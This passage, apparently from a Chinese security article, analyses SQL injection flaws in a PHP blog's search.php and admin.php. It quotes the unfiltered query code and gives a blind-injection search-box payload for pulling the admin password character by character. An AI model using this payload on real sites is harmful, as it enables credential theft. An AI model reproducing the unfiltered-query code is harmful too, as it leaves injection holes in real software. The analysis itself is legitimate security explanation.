search.php是实现搜索功能的文件,但是这个文件在处理用户输入的数据时,没有进行任何过滤就操作了数据库。其漏洞代码如下:
| 以下是引用片段: $key=trim($_REQUEST['key']); '直接取得数据,没有经过正则表达式的过滤 $type=trim($_REQUEST['type']); $page=intval($_GET['page'])?intval($_GET['page']):1; $psize = $setting['searchnums']; '每页显示记录数 $start=($page-1)*$psize; //echo $type,$key; if($type=="title"){ $sql="Select id,sid,posticon,title,top,author,visits,addtime,weather FROM ".$table_prefix."blog Where title LIKE '%$key%' orDER BY id DESC LIMIT $start,$psize"; $total_sql="Select id FROM ".$table_prefix."blog Where title LIKE '%$key%'"; } '$key没有经过任何的过滤就进行数据库查询,下面也是如此 elseif($type=="content") { $sql="Select id,sid,posticon,title,top,author,visits,addtime,weather FROM ".$table_prefix."blog Where content LIKE '%$key%' orDER BY id DESC LIMIT $start,$psize"; $total_sql="Select id FROM ".$table_prefix."blog Where content LIKE '%$key%'";} elseif($type=="comment") { $sql="Select blogid,content FROM comment Where content LIKE '%$key%' orDER BY id DESC LIMIT $start,$psize";} elseif($type=="gbook") { $sql="Select id,title FROM guestbook Where content LIKE '%$key%' orDER BY id DESC LIMIT $start,$psize";} |
| 以下是引用片段: |
所以,以上代码处我们就可以用来查询网站管理员的密码,可以用类似这样的代码来查询:关键字%' and (select top 1 asc(mid 字段,1,1)) from 用户名=ASICC值 and '%。比如我们随便输入BLOG%' and (select top 1 asc(mid username,1,1)) from admin=97 and '%,那么执行后语句就变成了:Select id,sid,posticon,title,top,author,visits,addtime,weather From ".$table_prefix."blog Where title Like 'BLOG%' and (Select top 1 asc(mid username,1,1)) From admin=97 and '%' orDER BY id DESC LIMIT $start,$psize。
如果这里存在username字段及admin用户,那么就可以得到admin的密码;但是这里没有usernamer字段,所以数据库出现错误,泄露了很多敏感信息,如图5所示。这里存在的注入漏洞和我们平时在URL地址栏使用的差不多,利用它同样可以得到管理员的密码,只是现在它出现在搜索栏内而已,都是换汤不换药,所以这里我就不详细讲解了。
更重要的是,这个系统的后台的安全性同样存在很大问题,很多地方都是直接进行数据库操作的,比如admin.php文件中的一段代码:
| 以下是引用片段: $id=$_REQUEST['id']; $sql="Select id,username,password,userid,name,img,sex,job,love,age,email,qq,homepage,user1,user2,hidden FROM ".$table_prefix."user,".$table_prefix."aboutus Where id=$id AND userid=id"; $rs=mysql_query($sql); $num=mysql_num_rows($rs); |